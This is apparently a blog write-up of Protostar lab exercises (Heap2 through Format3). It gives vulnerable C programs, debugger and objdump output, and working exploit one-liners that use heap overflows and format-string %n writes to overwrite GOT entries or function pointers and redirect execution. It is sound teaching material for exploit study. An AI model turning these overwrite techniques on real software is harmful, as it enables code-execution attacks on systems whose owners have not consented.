$11 = {name = "\000\000\000\000n\n\000\000\000\000\000\000\021\000\000\000 admin\n\000\000\000\000\000!\000\000", auth = 1094795552}
#SERVICE###################################################################
$12 = 0x804c028 " ", 'A' <repeats 25 times>, "\n"
###########################################################################
[ auth = 0x804c008, service = 0x804c028 ]

Now, when using "login", we will be authenticated successfully:

[ auth = 0x804c008, service = 0x804c028 ]
login
you have logged in already!

That concludes Heap2!

Protostar: Heap1

This time around, things are a little less obvious. We have a function which needs to be called, but there is no immediate way of altering the code flow.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

The vulnerability in this program is the strcpy function, which will happily copy the second argument (argv[1]) into the first argument (i1->name) without verifying if there is sufficient memory allocated for the operation. To avoid such issues, the strncpy function should be used.

Let’s take a closer look at the internet struct:

struct internet {
  int priority;   /* 4 bytes */ 
  char *name;     /* 4 bytes */
};

To understand how the heap grows, it is important to understand how the malloc function works. malloc works by using “chunks” defined as a malloc_chunk struct (see below). Because we are not clearing memory, the fd and bk members are unused.

struct malloc_chunk {
  size_t               prev_foot;  /* Size of previous chunk (if free).  */
  size_t               head;       /* Size and inuse bits. */
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
};

Given the above information and the sequence of malloc calls, we can expect the heap to look like this:

+-------------------------------+
| heap start ...                |
+-------------------------------+
| i1 int                        |
+-------------------------------+
| i1 char*                      |
+-------------------------------+
| malloc_chunk size_t prev_foot | 4 bytes
+-------------------------------+
| malloc_chunk size_t head      | 4 bytes
+-------------------------------+
| i1 name buffer                | 8 bytes <-- this is where we start writing
+-------------------------------+
| malloc_chunk size_t prev_foot | 4 bytes // 12 bytes from start
+-------------------------------+
| malloc_chunk size_t head      | 4 bytes // 16 bytes from start
+-------------------------------+
| i2 int                        | 4 bytes // 20 bytes from start
+-------------------------------+
| i2 char*                      | 4 bytes <-- this is the address we want to overwrite
+-------------------------------+
| heap cont. ...                |
+-------------------------------+

The call to strcpy will allow us to overwrite the i2->name, provided we add 20 bytes of padding (see above). We can validate our theory by submitting more than 20 bytes of input for argv[1] and trigger a segmentation fault:

user@protostar:/opt/protostar/bin$ ./heap1 $(python -c 'print "A" * 21') Segfault below
Segmentation fault

Since the objective is to call the winner function, we’ll quickly determine its address using objdump as in previous exercises:

user@protostar:/opt/protostar/bin$ objdump -t heap1 |grep winner
08048494 g     F .text  00000025              winner

Now that the target address and offset are known, the next step is to find another address we can use to alter the flow of code. Since printf is used, we may be able to overwrite the Global Offset Table:

user@protostar:/opt/protostar/bin$ objdump -R ./heap1

./heap1:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804974c R_386_GLOB_DAT    __gmon_start__
0804975c R_386_JUMP_SLOT   __gmon_start__
08049760 R_386_JUMP_SLOT   __libc_start_main
08049764 R_386_JUMP_SLOT   strcpy
08049768 R_386_JUMP_SLOT   printf
0804976c R_386_JUMP_SLOT   time
08049770 R_386_JUMP_SLOT   malloc
08049774 R_386_JUMP_SLOT   puts

This tells us that the printf function will be available at 0x08049768. First, we will write overwrite the address i2->name such that it points to 0x08049768 – where our program expects to find the printf implementation. This way, when strcpy(i2->name, argv[2]) is executed, the second argument will effectively overwrite the printf function – in our case the address of winner:

user@protostar:/opt/protostar/bin$ ./heap1 $(python -c 'print "A" * 20 + "\x68\x97\x04\x08"') $(python -c 'print "\x94\x84\x04\x08"')
and that's a wrap folks!

Hmmm that did not work. On closer inspection, we can see that printf is actually not called. In disassembling the main function, it is clear that puts is used instead (as a result of compiler optimisation):

user@protostar:/opt/protostar/bin$ gdb -q ./heap1
Reading symbols from /opt/protostar/bin/heap1...done.
(gdb) disassemble main
...
0x08048561 :    call   0x80483cc <puts@plt>
...
End of assembler dump.

That’s OK, since it is also available in the Global Offset Table at address 0x08049774. When this address is used, the exploit works as expected:

user@protostar:/opt/protostar/bin$ ./heap1 $(python -c 'print "A" * 20 + "\x74\x97\x04\x08"') $(python -c 'print "\x94\x84\x04\x08"')
and we have a winner @ 1548523699

Protostar: Heap0

On to the first heap-based exercise. Here, we can use a very similar approach to that applied to the stack exercises. The following code is presented, where the objective is to modify fp to point to the winner function:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
char name[64];
};

struct fp {
int (*fp)();
};

void winner()
{
printf("level passed\n");
}

void nowinner()
{
printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
struct data *d;
struct fp *f;

d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;

printf("data is at %p, fp is at %p\n", d, f);

strcpy(d->name, argv[1]);

f->fp();

}

Let’s first run the program, to see how it works in practice, using some highly imaginative input:

user@protostar:/opt/protostar/bin$ ./heap0 1234
data is at 0x804a008, fp is at 0x804a050
level has not been passed

Knowing this, it is easy to calculate the distance between the addresses, which helps us to construct our input padding:

user@protostar:/opt/protostar/bin$ gdb -q
(gdb) p 0x804a050 - 0x804a008
$1 = 72

Next, objdump is used to find address of winner at 0x08048464:

user@protostar:/opt/protostar/bin$ objdump -t heap0 |grep winner
08048464 g     F .text  00000014              winner
08048478 g     F .text  00000014              nowinner

Finally, we run the exploit to overwrite fp to point to 0x08048464 ("\x64\x84\x04\x08"):

user@protostar:/opt/protostar/bin$ /opt/protostar/bin/heap0 $(python -c 'print "A" * 72 + "\x64\x84\x04\x08"')
data is at 0x804a008, fp is at 0x804a050
level passed

 

Protostar: Format4

This one is a slight deviation from previous Format exercises. Here, we have to use format string vulnerabilities to take control of code execution.

The objective is to change the code flow to enter the hello function, which notably is not called anywhere in the code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
printf("code execution redirected! you win\n");
_exit(1);
}

void vuln()
{
char buffer[512];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);

exit(1);
}

int main(int argc, char **argv)
{
vuln();
}

The vulnerability to exploit is the same as previous Format-exercises (fgets and printf), but the objective is slightly different. We will need to modify the address of an existing function or return to point to hello instead.

Let’s have a look using objdump, as instructed in the hint:

user@protostar:/opt/protostar/bin$ objdump -R format4

format4: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080496fc R_386_GLOB_DAT __gmon_start__
08049730 R_386_COPY stdin
0804970c R_386_JUMP_SLOT __gmon_start__
08049710 R_386_JUMP_SLOT fgets
08049714 R_386_JUMP_SLOT __libc_start_main
08049718 R_386_JUMP_SLOT _exit
0804971c R_386_JUMP_SLOT printf
08049720 R_386_JUMP_SLOT puts
08049724 R_386_JUMP_SLOT exit

Here, we can see that the exit function of GLIBC will be loaded at 0x08049724. We should be able to overwrite this value, such that hello is called instead – the address of which we can also find using objdump:

user@protostar:/opt/protostar/bin$ objdump -t format4|grep hello
080484b4 g F .text 0000001e hello

Now we know which addresses we are working with:

  • exit: 0x08049724
  • hello: 0x080484b4

Using techniques described in previous exercises, we learn that the offset is 4 – meaning we will be starting with 4$ using direct parameter access. As in Format3, we will write half the address at a time. To calculate the correct padding, we will use gdb:

user@protostar:/opt/protostar/bin$ gdb -q
(gdb) p 0x84b4 - 8
$1 = 33964
(gdb) p 0x0804 - 0x84b4 + 65536
$2 = 33616

Since 0x84b4 is larger than 0x0804 we will end up with a negative value. We can correct this by adding 65536 () to produce a positive offset. Given these values, we try our exploit:

user@protostar:/opt/protostar/bin$ python -c 'print "\x24\x97\x04\x08" + "\x26\x97\x04\x08" + "%33964x%4$n" + "%33616x%5$hn"' | ./format4
...
b7fd8420
code execution redirected! you win

… and with that, all the format exercises are completed!

Protostar: Format3

For Format3, we need to modify target to the specific value of 0x01025544. We will start by using the same approach as for Format2.

Using objdump again, we learn that target has an address of 0x080496f4:

user@protostar:/opt/protostar/bin$ objdump -t format3 |grep target
080496f4 g O .bss 00000004 target

Once again we run the program with some exploratory input:

user@protostar:/opt/protostar/bin$ python -c 'print "AAAA" + "%08x." * 20' | ./format3
AAAA00000000.bffff5c0.b7fd7ff4.00000000.00000000.bffff7c8.0804849d.bffff5c0.00000200.b7fd8420.bffff604.41414141.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.
target is 00000000 :(

and determine that the AAAA pattern (41414141) is repeated at the 12th position. Let’s try again with:

  • the address of target
  • using direct parameter access for the 4th position (12$)
  • replacing 08x with n to trigger a write operation at the address:
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08" + "%12$n"' | ./format3
??
target is 00000004 :(

Let’s start by trying to fix the lower value bytes. We can use gdb to help us do some basic maths:

(gdb) p 0x00000044 - 0x00000004
$1 = 64

Let’s try to pad our input with %64d:

user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08" + "%64d%12$n"' | ./format3
??
target is 00000044 :(

Again, gdb can help us determine how much padding we need to add to make this 0x00005544:

(gdb) p 0x00005544 - 0x00000044
$2 = 21760

21760 + 64 = 21824. Let’s give that a try:

user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08" + "%21824d%12$n"' | ./format3
?
...
target is 00005544 :(

At this point, we’re halfway there. However, for the second part, we will take a slightly different approach. Here, we will instead write two bytes into the address of target using the same approach. That means we will write to 0x080496f6 (or \xf6\x96\x04\x08) instead:

(gdb) p 0x0102
$3 = 258

We’ll have to subtract 4 from this value since our address already causes 4 bytes to be written, resulting in 254:

user@protostar:/opt/protostar/bin$ python -c 'print "\xf6\x96\x04\x08" + "%254d%12$n"' | ./format3
?
...
target is 01020000 :(

Now we have each part and need to combine them. Since we’re adding another 4 bytes ("\xf6\x96\x04\x08") to our input, we’ll need to remove 4 bytes of padding. Also, we need to reference the 13th parameter ($13) instead, since we are now supplying additional input.

user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08" + "\xf6\x96\x04\x08" + "%250d%13$n"' | ./format3
??
...
target is 01020000 :(

When adding the second half, we need to change the padding to 21570 (21828, minus the 258 already added):

python -c 'print "\xf4\x96\x04\x08" + "\xf6\x96\x04\x08" + "%250d%13$n" + "%21570d%12$n"' | ./format3
...
target is 00005544 :(

When we add the second part, we notice that we’re back to the original value. This is because the n parameter will overwrite the entire address by default, but here, we only want to write to 2 bytes of the address. We can achieve this by using the h modifier:

python -c 'print "\xf4\x96\x04\x08" + "\xf6\x96\x04\x08" + "%250d%13$n" + "%21570d%12$hn"' | ./format3
...
you have modified the target :)

Format3 completed!